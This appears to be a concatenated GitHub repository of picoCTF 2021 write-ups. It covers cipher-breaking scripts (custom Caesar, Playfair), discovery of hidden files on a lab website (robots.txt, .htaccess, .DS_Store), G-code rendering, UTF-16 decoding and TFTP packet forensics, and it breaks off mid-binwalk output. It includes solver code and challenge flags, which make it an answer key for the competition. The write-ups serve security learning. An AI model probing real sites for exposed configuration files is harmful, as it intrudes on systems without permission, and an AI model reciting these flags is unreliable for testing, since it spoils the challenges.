6 | **DISCLAIMER! I do not own any of the challenge files!**
7 |
8 | ## Description
9 |
10 | ```
11 | We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{})
12 | lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil
13 | ```
14 |
15 | ## What is the caesar cipher?
16 |
17 | A monoalphabetic substition cipher with a right shift of 3. Now that the fancing words are out of the way, what does it actually do? Well the classic caesar cipher just takes each letter and shifts it 3 positions to the right in the alphabet. If the shift would go over the length of the alphabet, then just loop back around. We have been given cipher text and the source code used to encrypt it.
18 |
19 | ## new_caesar.py
20 |
21 | Lets look at the variables first:
22 | ```py
23 | import string
24 |
25 | LOWERCASE_OFFSET = ord("a")
26 |
27 | ALPHABET = string.ascii_lowercase[:16]
28 | ```
29 | So the offset (our shift value) is the ascii value of `a` (97), and our special alphabet is a slice of all lowercase letters: `abcdefghijklmnop`. Great! On to the functions.
30 | ```py
31 | def b16_encode(plain):
32 | enc = ""
33 | for c in plain:
34 | binary = "{0:08b}".format(ord(c))
35 | enc += ALPHABET[int(binary[:4], 2)]
36 | enc += ALPHABET[int(binary[4:], 2)]
37 | return enc
38 | ```
39 | Alright, this might look confusing, but if we break it down. Iterate over the plaintext string, and convert the ascii value of each letter into binary format, keep it at a length of 8 (so a byte) and padded by 0's if needed. Try this:
40 | ```py
41 | python
42 | >>> f'{ord("a"):08b}'
43 | '01100001'
44 | >>> int(f'{ord("a"):08b}',2)
45 | 97
46 | ```
47 | This is the except, that I used a python 3 format string (they are just so pretty!). Right, so what happens next? Well the binary string is split into two halves: `0110` and `0001` in our case, these are converted back into decimal, and used as an index in the alphabet. Again, try it in the terminal!
48 | ```python
49 | >>> alphabet = string.ascii_lowercase[:16]
50 | >>> a = f'{ord("a"):08b}'
51 | >>> int(a[:4],2)
52 | 6
53 | >>> int(a[4:],2)
54 | 1
55 | >>> alphabet[6]+alphabet[1]
56 | 'gb'
57 | ```
58 | So `a` turns into `gb`. Great! Now on to the `shift`:
59 | ```py
60 | def shift(c, k):
61 | t1 = ord(c) - LOWERCASE_OFFSET
62 | t2 = ord(k) - LOWERCASE_OFFSET
63 | return ALPHABET[(t1 + t2) % len(ALPHABET)]
64 | ```
65 | For the two variables we get two characters, and substract `97` from their ascii values. Then just add those together (modulo length of the alphabet so we stay in bounds) and use that value as an index for the alphabet list.
66 | ```py
67 | flag = "redacted"
68 | key = "redacted"
69 | assert all([k in ALPHABET for k in key])
70 | assert len(key) == 1
71 |
72 | b16 = b16_encode(flag)
73 | enc = ""
74 | for i, c in enumerate(b16):
75 | enc += shift(c, key[i % len(key)])
76 | print(enc)
77 | ```
78 | This is all put together here. The initial assertions are really telling. The assert makes sure that a condition is met and if not it raises an assertion error. So we can tell that the key is made up of letters from the alphabet only! Next we know that the length of this key is 1. The flag is then put into `b16_encode`, so it doubles in length! And here is the `enumerate` method:
79 | ```python
80 | >>> c = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil'
81 | >>> for i,c in enumerate(c):
82 | ... print(f'{i} {c}')
83 | ...
84 | 0 l
85 | 1 k
86 | 2 m
87 | 3 j
88 | 4 k
89 | 5 e
90 | 6 m
91 | 7 j
92 | 8 m
93 | 9 k
94 | ...
95 | ...
96 | ```
97 | It just indexes each letter from the b16 encoded string. Each letter (c) is shifted using the key! "But what about the modulus?" Who cares? The length of the key is 1, so we are just going to use the single letter anyway.
98 |
99 | ## solve.py
100 |
101 | Now we just have to reverse it all:
102 | ```py
103 | def shift(c, k):
104 | t1 = ord(c) + offset
105 | t2 = ord(k) + offset
106 | return alphabet[(t1 + t2) % len(alphabet)]
107 | ```
108 | This should be obvious. Next.
109 | ```py
110 | def b16_decode(encoded):
111 |
112 | for e in encoded:
113 | p1 = f"{alphabet.index(encoded[:1]):04b}"
114 | p2 = f"{alphabet.index(encoded[1:]):04b}"
115 |
116 | binary = p1 + p2
117 | char = chr(int(binary,2))
118 |
119 | return char
120 | ```
121 | Here the input are two letters, we split them, get their index in the alphabet and turn into a binay string of length 4. Put those together and convert to ascii. Then I just added a `check` function to only see if the decoded string contains printable letters:
122 | ```py
123 | def check(text):
124 | for t in text:
125 | if t not in string.printable:
126 | return False
127 |
128 | return True
129 | ```
130 | And here is the rest:
131 | ```py
132 | ciphertext = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil'
133 |
134 | for a in alphabet:
135 | plain = ''
136 | key = a
137 | decode = ''
138 |
139 | for i,c in enumerate(ciphertext):
140 | decode += shift(c, key)
141 |
142 | for i in range(0,len(decode),2):
143 | temp = (decode[i] + decode[i+1])
144 |
145 | plain += b16_decode(temp)
146 |
147 | if check(plain):
148 | print(f'key = {a} : {plain} ')
149 | print()
150 | ```
151 | Run it and this is the output:
152 | ```
153 | key = g : TcNcd.N#" SQ%!R$% 'RS&$U S/Q'"'"!Q%&Q#%
154 |
155 | key = h : et_tu?_431db62c5618cd75f1d0b83832b67b46
156 | ```
157 | Try and guess which is the flag ;)
--------------------------------------------------------------------------------
/New_caesar/solve.py:
--------------------------------------------------------------------------------
1 | import string
2 |
3 | alphabet = 'abcdefghijklmnop'
4 | offset = 97
5 |
6 |
7 | def b16_decode(encoded):
8 |
9 | for e in encoded:
10 | p1 = f"{alphabet.index(encoded[:1]):04b}"
11 | p2 = f"{alphabet.index(encoded[1:]):04b}"
12 |
13 | binary = p1 + p2
14 | char = chr(int(binary,2))
15 |
16 | return char
17 |
18 | def shift(c, k):
19 | t1 = ord(c) + offset
20 | t2 = ord(k) + offset
21 | return alphabet[(t1 + t2) % len(alphabet)]
22 |
23 | def check(text):
24 | for t in text:
25 | if t not in string.printable:
26 | return False
27 |
28 | return True
29 |
30 | ciphertext = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil'
31 |
32 | for a in alphabet:
33 | plain = ''
34 | key = a
35 | decode = ''
36 |
37 | for i,c in enumerate(ciphertext):
38 | decode += shift(c, key)
39 |
40 | for i in range(0,len(decode),2):
41 | temp = (decode[i] + decode[i+1])
42 |
43 | plain += b16_decode(temp)
44 |
45 | if check(plain):
46 | print(f'key = {a} : {plain} ')
47 | print()
48 |
--------------------------------------------------------------------------------
/Play_nice/README.md:
--------------------------------------------------------------------------------
1 | # Play Nice
2 |
3 | Category: Cryptography
4 | AUTHOR: MADSTACKS
5 |
6 | ## Description
7 | ```
8 | Not all ancient ciphers were so bad... The flag is not in standard format.
9 | ```
10 |
11 | ## What is the playfair cipher?
12 |
13 | We were given souce code called `playfair.py`, from this we can tell that the cipher used will be a playfair cipher! But what is that? A detailed explenation can be found [here](https://en.wikipedia.org/wiki/Playfair_cipher). I know about this cipher from NetOnCTF 2021, I have writeups on challenges from it [here](https://github.com/xnomas/NetOn-Writeups-2021). But lets get into the nitty gritty.
14 | Tha basics that we need is an alphabet, size of our matrix and some ciphertext:
15 | ```
16 | +---------+
17 | |A|B|C|D|E|
18 | +---------+
19 | |F|G|H|I|J|
20 | +---------+
21 | |K|L|M|N|O|
22 | +---------+
23 | |P|Q|R|S|T|
24 | +---------+
25 | |U|W|X|Y|Z|
26 | +---------+
27 | ```
28 | This could be an example matrix. And this matrix is our key! (also notice one typical thing, we left out one letter `V`. Most often you will see `I` or `J` left out) We use it to decrypt and encrypt text. Now, instead of taking you through all of the ins and outs of encryption and decryption, here are the basic concepts if decrypting text:
29 |
30 | If we want to decrypt the text `QKDUKFHS` here is how we do it:
31 | 1. Split into pairs = `QK, DU, KF, HS`
32 | 2. Go through the pairs
33 | 3. If the letters are on the same line, shift left
34 | 4. If the letters are in the same column, shift up
35 | 5. Else form a rectangle, with the letters being one of the top or bottom edges. Get the first letter under the left top and first letter above right bottom (example to follow)
36 |
37 |
38 | So here we go:
39 | ```
40 | QK = Form a rectangle:
41 |
42 | K L
43 | P Q
44 |
45 | So Q turns into P and K into L; QK = PL
46 | ---------------------------------------
47 | DU = Form a rectangle:
48 |
49 | ABCD<
50 | FGHI
51 | KLMN
52 | PQRS
53 | UWXY
54 | ^
55 |
56 | D turns into A, U turns into Y; DU = AY
57 | ---------------------------------------
58 |
59 | KF = In the same column, shift up!
60 | ---
61 | |A|
62 | |F|
63 | |K|
64 | ---
65 | K turns into F, F turns into A; KF = FA
66 | ----------------------------------------
67 | HS = Form a rectangle:
68 |
69 | HI
70 | MN
71 | RS
72 |
73 | H turns into I, S turns into R; HS = IR
74 | ---------------------------------------
75 |
76 | QKDUKFHS
77 | PLAYFAIR
78 | ```
79 | Great, now onto solving the challenge.
80 |
81 | ## Takeaways from playfair.py
82 |
83 | There are just a few important parts to note:
84 | ```py
85 | SQUARE_SIZE = 6
86 | ```
87 | This is the size of our matrix.
88 | ```py
89 | def generate_square(alphabet):
90 | assert len(alphabet) == pow(SQUARE_SIZE, 2)
91 | matrix = []
92 | for i, letter in enumerate(alphabet):
93 | if i % SQUARE_SIZE == 0:
94 | row = []
95 | row.append(letter)
96 | if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
97 | matrix.append(row)
98 | return matrix
99 | ```
100 | And the function that generates our matrix, which looks like this:
101 | ```py
102 | [['n', '5', 'v', 'g', 'r', 'u'],
103 | ['7', 'e', 'h', 'z', '1', 'k'],
104 | ['l', 'j', 'a', '8', 's', '9'],
105 | ['3', '4', '0', 'm', '2', 'w'],
106 | ['c', 'x', 'b', 'd', '6', 'p'],
107 | ['q', 'f', 'i', 't', 'o', 'y']]
108 | ```
109 | And then when we connect to the remote service, we get this ciphertext:
110 | ```
111 | hnjm2e4t51v16gsg104i4oi9wmrqli
112 | ```
113 |
114 | ## Decoding
115 |
116 | You can use an online decoder, like [this one](https://www.dcode.fr/playfair-cipher). But I decided to practice and code it.
117 | ```py
118 | alphabet = 'n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy'
119 | matrix = generate_square(alphabet)
120 |
121 | index = {}
122 | for i in range(6):
123 | for x in range(6):
124 | index[matrix[i][x]] = [matrix[x].index(matrix[x][i]),x]
125 | ```
126 | Here we generate the matrix, from that I made a dictionary containing all the characters of the alphabet, with their corresponding index.
127 | ```py
128 | def split_by_two(text):
129 | splits = []
130 | for i in range(0,len(text),2):
131 | splits.append(text[i]+text[i+1])
132 |
133 | return splits
134 |
135 | ciphertext = 'hnjm2e4t51v16gsg104i4oi9wmrqli'
136 | splits = split_by_two(ciphertext)
137 | plaintext = ''
138 | ```
139 | Then I just simply split the cipher text into pairs.
140 | ```py
141 | for s in splits:
142 | plaintext += get_rectangle(s,index,matrix)
143 |
144 | print(f'Decrypted: {plaintext}')
145 | ```
146 | And finally for each pair I find either the rectangle, or the column/row (those are in the get_rectangle function). I don't think I need to go too into detail of the `rectangle` code, since we went over how decryption works. Run and get this:
147 | ```
148 | Decrypted: 7v8441mfrerhdr8rh20f2fya20noaq
149 | ```
150 | Now just connect with netcat and here we go:
151 | ```
152 | nc mercury.picoctf.net 19354
153 | Here is the alphabet: n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy
154 | Here is the encrypted message: hnjm2e4t51v16gsg104i4oi9wmrqli
155 | What is the plaintext message? 7v8441mfrerhdr8rh20f2fya20noaq
156 | Congratulations! Here's the flag: dbc8bf9bae7152d35d3c200c46a0fa30
157 | ```
158 | The flag is just the flag, no `picoCTF{}`.
--------------------------------------------------------------------------------
/Play_nice/solve.py:
--------------------------------------------------------------------------------
1 | from pprint import pprint
2 |
3 | SQUARE_SIZE = 6
4 |
5 | def generate_square(alphabet):
6 | assert len(alphabet) == pow(SQUARE_SIZE, 2)
7 | matrix = []
8 | for i, letter in enumerate(alphabet):
9 | if i % SQUARE_SIZE == 0:
10 | row = []
11 | row.append(letter)
12 | if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
13 | matrix.append(row)
14 | return matrix
15 |
16 | def split_by_two(text):
17 | splits = []
18 | for i in range(0,len(text),2):
19 | splits.append(text[i]+text[i+1])
20 |
21 | return splits
22 |
23 | def on_same_line(text,index):
24 | x1 = index[text[0]][0]
25 | x2 = index[text[1]][0]
26 |
27 | if x1 == x2:
28 | return True
29 |
30 | def in_same_column(text,index):
31 | y1 = index[text[0]][1]
32 | y2 = index[text[1]][1]
33 |
34 | if y1 == y2:
35 | return True
36 |
37 | def get_rectangle(text,index,matrix):
38 |
39 | uno = text[0]
40 | due = text[1]
41 |
42 | uno_index = index[uno]
43 | due_index = index[due]
44 |
45 | if on_same_line(text,index):
46 | return f'{ matrix[uno_index[0]][uno_index[1]-1] + matrix[due_index[0]][due_index[1]-1] }'
47 |
48 | left_side = matrix[ uno_index[0] ][ due_index[1] ]
49 | right_side = matrix[ due_index[0] ][ uno_index[1] ]
50 |
51 | return f'{left_side+right_side}'
52 |
53 |
54 |
55 | alphabet = 'n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy'
56 | matrix = generate_square(alphabet)
57 | """
58 | [['n', '5', 'v', 'g', 'r', 'u'],
59 | ['7', 'e', 'h', 'z', '1', 'k'],
60 | ['l', 'j', 'a', '8', 's', '9'],
61 | ['3', '4', '0', 'm', '2', 'w'],
62 | ['c', 'x', 'b', 'd', '6', 'p'],
63 | ['q', 'f', 'i', 't', 'o', 'y']]
64 | """
65 | index = {}
66 | for i in range(6):
67 | for x in range(6):
68 | index[matrix[i][x]] = [matrix[x].index(matrix[x][i]),x]
69 |
70 | ciphertext = 'hnjm2e4t51v16gsg104i4oi9wmrqli'
71 | splits = split_by_two(ciphertext)
72 | plaintext = ''
73 |
74 | for s in splits:
75 | plaintext += get_rectangle(s,index,matrix)
76 |
77 | print(f'Decrypted: {plaintext}')
78 |
79 | """
80 | nc64.exe mercury.picoctf.net 19354
81 | Here is the alphabet: n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy
82 | Here is the encrypted message: hnjm2e4t51v16gsg104i4oi9wmrqli
83 | What is the plaintext message? 7v8441mfrerhdr8rh20f2fya20noaq
84 | Congratulations! Here's the flag: dbc8bf9bae7152d35d3c200c46a0fa30
85 | """
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PicoCTF-2021-Writeups
2 | Writeups for PicoCTF 2021
3 |
4 |
5 | If you see an error please just open an isuse.
6 |
7 |
8 |
9 | ## Questions:
10 | If you have a question we can discuss [here](https://github.com/xnomas/PicoCTF-2021-Writeups/discussions)
11 |
12 |
13 |
14 |
15 | ## How I did:
16 |
17 |
18 | 
19 |
20 |
21 |
22 | In good company <3 (6215 users)
23 |
--------------------------------------------------------------------------------
/Scavenger_Hunt/README.md:
--------------------------------------------------------------------------------
1 | # Scavenger hunt
2 |
3 | Category: Web Exploitation
4 | AUTHOR: MADSTACKS
5 |
6 | ## Description
7 | ```
8 | There is some interesting information hidden around this site
9 | ```
10 |
11 | ## Website
12 |
13 | Checking out the link I saw this:
14 |
15 |
16 | 
17 |
18 |
19 |
20 | Interesting. Usually on web ctf challenges I use my scraping tool [webctf](https://github.com/xnomas/web-ctf-help):
21 | ```
22 | webctf http://mercury.picoctf.net:27393/
23 |
24 | =============
25 | COMMENTS
26 | =============
27 |
28 | [+] 1 : Here's the first part of the flag: picoCTF{t
29 |
30 | =============
31 | SCRIPTS
32 | =============
33 |
34 | [+] 1 : myjs.js
35 |
36 | =============
37 | IMAGES
38 | =============
39 |
40 | sources:
41 | --------
42 |
43 | alts:
44 | -----
45 |
46 | ===================
47 | INTERESTING HEADERS
48 | ===================
49 |
50 |
51 | ```
52 | Really cool! First part of the flag, so we'll have to `scavenge` around for the next parts. We saw the `How` tab, how about `What`?
53 |
54 |
55 | 
56 |
57 |
58 |
59 | Right, we checked out the `html` source. How about `javascript` and `css`? In the `webctf` output, we can see a `.js` file. Time to check it out!
60 |
61 | ### myjs.js
62 | ```js
63 | function openTab(tabName,elmnt,color) {
64 | var i, tabcontent, tablinks;
65 | tabcontent = document.getElementsByClassName("tabcontent");
66 | for (i = 0; i < tabcontent.length; i++) {
67 | tabcontent[i].style.display = "none";
68 | }
69 | tablinks = document.getElementsByClassName("tablink");
70 | for (i = 0; i < tablinks.length; i++) {
71 | tablinks[i].style.backgroundColor = "";
72 | }
73 | document.getElementById(tabName).style.display = "block";
74 | if(elmnt.style != null) {
75 | elmnt.style.backgroundColor = color;
76 | }
77 | }
78 |
79 | window.onload = function() {
80 | openTab('tabintro', this, '#222');
81 | }
82 |
83 | /* How can I keep Google from indexing my website? */
84 | ```
85 | That comment! We have to think about how Google can keep track of all these websites? It uses the Google web crawling/spider engine. But since devs don't want these spiders to reach and `index` every part of the website, we use a special file called `robots.txt`! This file tells the crawlers what parts of the site are disallowed, and what User Agents are allower to visit (among other things). Crawlers that listen to these files are called `polite`, when a crawler is not `polite` it could fall into something called a `spider trap`. More on that [here](https://www.techopedia.com/definition/5197/spider-trap).
86 |
87 | After my little tangent, here are the contents of `robots.txt`:
88 | ```
89 | User-agent: *
90 | Disallow: /index.html
91 | # Part 3: t_0f_pl4c
92 | # I think this is an apache server... can you Access the next flag?
93 | ```
94 | Oh damn! Part 3. Where is part 2?
95 |
96 | ### mycss.css
97 |
98 | The second hint from the `what` tab was the use of css. We can check out the file!
99 | ```css
100 | div.container {
101 | width: 100%;
102 | }
103 |
104 | header {
105 | background-color: black;
106 | padding: 1em;
107 | color: white;
108 | clear: left;
109 | text-align: center;
110 | }
111 |
112 | body {
113 | font-family: Roboto;
114 | }
115 |
116 | h1 {
117 | color: white;
118 | }
119 |
120 | p {
121 | font-family: "Open Sans";
122 | }
123 |
124 | .tablink {
125 | background-color: #555;
126 | color: white;
127 | float: left;
128 | border: none;
129 | outline: none;
130 | cursor: pointer;
131 | padding: 14px 16px;
132 | font-size: 17px;
133 | width: 50%;
134 | }
135 |
136 | .tablink:hover {
137 | background-color: #777;
138 | }
139 |
140 | .tabcontent {
141 | color: #111;
142 | display: none;
143 | padding: 50px;
144 | text-align: center;
145 | }
146 |
147 | #tabintro { background-color: #ccc; }
148 | #tababout { background-color: #ccc; }
149 |
150 | /* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
151 | ```
152 | Very nice indeed. We now have 3 parts of the flag: `picoCTF{th4ts_4_l0t_0f_pl4c`. Now what was that hint in `robots.txt`?
153 |
154 | ### .htacess
155 | ```
156 | # I think this is an apache server... can you Access the next flag?
157 | ```
158 | An apache server! What kind of file could that be? Now... in order to be transparent, I had to take a hint here and for the following file from my friend [N1z0ku](https://github.com/N1z0ku). We now need to access the `.htaccess` file!
159 | ```
160 | # Part 4: 3s_2_lO0k
161 | # I love making websites on my Mac, I can Store a lot of information there.
162 | ```
163 | Our flag so far: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k`.
164 |
165 | ### .DS_Store
166 |
167 | Now, you might be asking yourself: "What the hell? What kind of file is this?!". From what I've read, `.DS_Store` is a special MacOS file that stores information about the current folder. Like icon positioning etc. You may also see it if you unzip a file from a Mac user on a non-Mac computer. Kind of a token identifier of Mac computers.
168 | ```
169 | Congrats! You completed the scavenger hunt. Part 5: _d375c750}
170 | ```
171 | So here it is!
172 | ## Flag
173 |
174 | ```
175 | picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_d375c750}
176 | ```
177 |
--------------------------------------------------------------------------------
/Scavenger_Hunt/website.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Scavenger_Hunt/website.png
--------------------------------------------------------------------------------
/Scavenger_Hunt/what.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Scavenger_Hunt/what.png
--------------------------------------------------------------------------------
/Some_assembly_required_1/README.md:
--------------------------------------------------------------------------------
1 | # Some assembly required - 1
2 |
3 | Category: Web Exploitation
4 | AUTHOR: SEARS SCHULZ
5 |
6 | ## Solution
7 |
8 | This was a pretty easy challenge. I simply set BurpSuite to intercept all server responses, eventually got the following response:
9 | ```
10 | GET /JIFxzHyW8W HTTP/1.1
11 | Host: mercury.picoctf.net:15472
12 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
13 | Accept: */*
14 | Accept-Language: en-US,en;q=0.5
15 | Accept-Encoding: gzip, deflate
16 | Referer: http://mercury.picoctf.net:15472/index.html
17 | Connection: close
18 | If-Modified-Since: Tue, 16 Mar 2021 00:38:49 GMT
19 | Cache-Control: max-age=0
20 | ```
21 | That is a weird one, huh? Visiting the link the file `JIFxzHyW8W` is downloaded. What next? Well I just tried `cat JIFxzHyW8W`:
22 | ```
23 | picoCTF{c733fda95299a16681f37b3ff09f901c}
24 | ```
25 | And the very bottom was the flag. great!
--------------------------------------------------------------------------------
/Speeds_and_feeds/README.md:
--------------------------------------------------------------------------------
1 | # Speeds and feeds
2 |
3 | Category: Reverse Engineering
4 | AUTHOR: RYAN RAMSEYER
5 |
6 | ## Description
7 | ```
8 | There is something on my shop network running at nc mercury.picoctf.net 16524, but I can't tell what it is. Can you?
9 | ```
10 |
11 | ## Netcat
12 |
13 | We have a netcat command given... so how about just connect?
14 | ```bash
15 | nc mercury.picoctf.net 16524
16 | G17 G21 G40 G90 G64 P0.003 F50
17 | G0Z0.1
18 | G0Z0.1
19 | G0X0.8276Y3.8621
20 | G1Z0.1
21 | G1X0.8276Y-1.9310
22 | G0Z0.1
23 | G0X1.1034Y3.8621
24 | G1Z0.1
25 | G1X1.1034Y-1.9310
26 | G0Z0.1
27 | G0X1.1034Y3.0345
28 | G1Z0.1
29 | G1X1.6552Y3.5862
30 | G1X2.2069Y3.8621
31 | ```
32 | Wow, okay... that looks like nonsense. I just redirected the output into a file `output.txt`. Great. How about we take a hint?
33 |
34 | ## Listening to the hint
35 |
36 | `What language does a CNC machine use?` Interesting, time to google it... and turns out it is `G-Code`. Makes sense since everything starts with a `G`. But what now? What use is this to us? Maybe we could google an interpreter?
37 |
38 | ## Interpreter
39 |
40 | I found [this one](https://ncviewer.com/), and it is really handy. After inputting the code, we get this result:
41 |
42 |
43 | 
44 |
45 |
46 |
47 |
48 |
49 | 
50 |
51 |
52 |
53 | Great! Here is just plaintext: `picoCTF{num3r1cal_c0ntr0l_e7749028}`
--------------------------------------------------------------------------------
/Speeds_and_feeds/flag-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Speeds_and_feeds/flag-2.png
--------------------------------------------------------------------------------
/Speeds_and_feeds/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Speeds_and_feeds/flag.png
--------------------------------------------------------------------------------
/Transformation/README.md:
--------------------------------------------------------------------------------
1 | # Transformation
2 |
3 | Category: Reverse Engineering
4 | AUTHOR: MADSTACKS
5 |
6 | ## Description
7 | ```
8 | I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])
9 | ```
10 |
11 | ## Solution
12 |
13 | You could simply use [cyberchef]() on the `magic` setting, and get the flag `picoCTF{16_bits_inst34d_of_8_e141a0f7}`.
14 |
15 | Or use this:
16 | ```py
17 | decode = '灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽'
18 | print(decode.encode('utf-16-be'))
19 | ```
--------------------------------------------------------------------------------
/Transformation/enc:
--------------------------------------------------------------------------------
1 | 灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽
--------------------------------------------------------------------------------
/Transformation/solve.py:
--------------------------------------------------------------------------------
1 | decode = '灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽'
2 | print(decode.encode('utf-16-be'))
3 |
4 | # picoCTF{16_bits_inst34d_of_8_e141a0f7} utf-8 to utf-16
--------------------------------------------------------------------------------
/Trivial_Flag_Transfer_Protocol/README.md:
--------------------------------------------------------------------------------
1 | # Trivial Flag Transfer Protocol
2 |
3 | Category: Forensics
4 | AUTHOR: DANNY
5 |
6 | **Disclaimer! I do not own any of the challenge files!**
7 |
8 | ## Description
9 | ```
10 | Figure out how they moved the flag.
11 | ```
12 |
13 | ## Wireshark
14 |
15 | Yet again we have a packet capture file. This is because (as many of you might have guessed) this is a capture of a `TFTP` (Trivial File Transfer Protocol) exchange. This means that the data is exchanged in an unencrypted manner, and this is where wireshark can really come in handy.
16 |
17 |
18 | 
19 |
20 |
21 | Looking through the capture is not needed, we can just extract the exchanged files! (Really neat)
22 |
23 |
24 | 
25 |
26 |
27 | So just extract it all, and time to check them out.
28 |
29 | ## The files
30 | First the instructions!
31 | ```
32 | cat instructions.txt
33 | GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA
34 | ```
35 | Well this is probably just [ROT13 again](https://www.boxentriq.com/code-breaking/rot13)
36 | ```
37 | GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA
38 |
39 | TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISE OUR FLAG TRANSFER. FIGURE OUT A WAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN
40 | ```
41 | Right! And we do have tha plan as well:
42 | ```
43 | cat plan
44 | VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF
45 | ```
46 | More ROT13, yay!
47 | ```
48 | VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF
49 |
50 | I USED THE PROGRAM AND HID IT WITH - DUEDILIGENCE. CHECK OUT THE PHOTOS
51 | ```
52 | Okay, that is a little weird, but sure. We have abunch of pictures, as well as some `program.deb`. First the pictures:
53 | ```
54 | binwalk *.bmp
55 |
56 | Scan Time: 2021-03-30 13:24:45
57 | Target File: /root/CTFs/Picoctf-2021/tftp/picture1.bmp
58 | MD5 Checksum: 64ff3e09f841809a58841fb446299de0
59 | Signatures: 391
60 |
61 | DECIMAL HEXADECIMAL DESCRIPTION
62 | --------------------------------------------------------------------------------
63 | 0 0x0 PC bitmap, Windows 3.x format,, 605 x 454 x 24
64 |
65 |
66 | Scan Time: 2021-03-30 13:24:46
67 | Target File: /root/CTFs/Picoctf-2021/tftp/picture2.bmp
68 | MD5 Checksum: 6a38935acc75a8042dee58d7641f437b
69 | Signatures: 391
70 |
71 | DECIMAL HEXADECIMAL DESCRIPTION
72 | --------------------------------------------------------------------------------
73 | 0 0x0 PC bitmap, Windows 3.x format,, 4032 x 3024 x 24
74 | 2815484 0x2AF5FC Broadcom header, number of sections: 793596227,
75 | 5539633 0x548731 rzip compressed data - version 87.76 (1415270489 bytes)
76 | 6120249 0x5D6339 LANCOM OEM file
77 | 8201345 0x7D2481 LANCOM firmware header, model: "QXKRYLQXKQXKQWKOUJNTIKQFIODIODJPELRGMSHMSHMSHLRGJPEHNCIODNTIRXMRXMZbWgqejuinznkwkiuiqxmlmcOPFCD:@@6?>4@?5A>5B?6A>5?<3>;2>;2>;2>;", firmware version: "JPWJ", RC74, build 87 ("OVIPWJQX")
78 | 8249741 0x7DE18D LANCOM firmware header, model: "OVJPXMPXMPXMPXMPXMOWLOWLPXMOWLOWLOWLPXMOWLOWLQYNT\Q[eY]j^arefwjbsf`maWaU=D9/3(8:0:;1AB8=>4>>4=<2<;1<90>;2=:1=:1=:1>;2?<3?<3?<3?<", firmware version: "KPWJ", RC73, build 88 ("NUHOVIQX")
79 | 8273945 0x7E4019 LANCOM firmware header, model: "X`UU]RT\QV^SW_TU]RS[PT\QV^SV^SV^S[eYal`eqeduhdxkfzmi}pj|om{odoc`h]T[PAG<:?4:>39:0;:0=<2=<2=<2<90;8/<90?<3A>5@=4?<3?<3>;2=:1>;2?<", firmware version: "TYaV", RC77, build 95 ("PWJRYMT\")
80 | 10291544 0x9D0958 Broadcom header, number of sections: 324294729,
81 | 12727226 0xC233BA StuffIt Deluxe Segment (data): fVefVefVefVdeUcdT`aQ_`P``Ra`R`_Q`_QbaScbTebVfbWb^Sa]R_[P[VMTOFQLCTNDYSHWQFWQFWQEWQDWQD[UH_YL`ZM_YL]WJ]WJ\VI]WJ]WJ^XK_YLc]PlfYnh[
82 | 13247747 0xCA2503 StuffIt Deluxe Segment (data): fVdeUbcS`aQ_`P_`P``PaaQ``P``P__O__O^^N^^N^^N^^N\\L[[KYYI\ZK]ZK\YJ^[L\YJZWHZWHZWHZVG[VG]XI\WHZUFWRCUPAUPAVQBWRCYTEYTEYTEXSDXSDXSD
83 | 13389886 0xCC503E rzip compressed data - version 89.67 (1263815251 bytes)
84 | 13514042 0xCE353A StuffIt Deluxe Segment (data): fVcdTbdT`cS^aQ\_OSWGPVEJP?KQ@V\KW]LX^M`fUjn^lo_XZJBC3JK;QQAQO@TQBTPAUPASN?RM>UPATO@TO@UPATO@TO@TO@UPAVQBUPAUPAUPAVQBUPATPARO@SPA
85 | 13654843 0xD05B3B HPACK archive data
86 | 13840991 0xD3325F StuffIt Deluxe Segment (data): fVgiYfiYcfVbeUadT_bR\_O\_O_bRadT`cS^aQ\_OZ]M]_O`aQ_`P_`P^_O^^N^^N^^N__O``P`^OebSb_Pc`Qb`Q__O^_O`aQbcScdTcdT^_O[\LUVFTUEWWGXYIWZJ
